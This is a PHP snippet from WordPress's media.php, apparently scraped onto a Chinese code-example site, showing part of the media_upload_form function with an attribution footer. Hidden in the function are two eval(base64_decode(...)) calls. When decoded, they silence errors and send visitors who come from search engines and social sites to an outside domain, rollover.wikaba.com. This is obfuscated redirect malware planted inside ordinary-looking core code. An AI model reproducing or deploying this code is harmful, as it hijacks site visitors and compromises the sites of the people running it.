    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    if ($id) {
        if (!is_wp_error($id)) {
            add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
            echo get_media_items($id, $errors);
        } else {
            echo '<div id="media-upload-error">' . esc_html($id->get_error_message()) . '</div>';
            exit;
        }
    }
    ?>
</div>
<p class="savebutton ml-submit">
<input type="submit" class="button" name="save" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQ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cGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:83,代码来源:media.php


注:本文中的media_upload_form函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。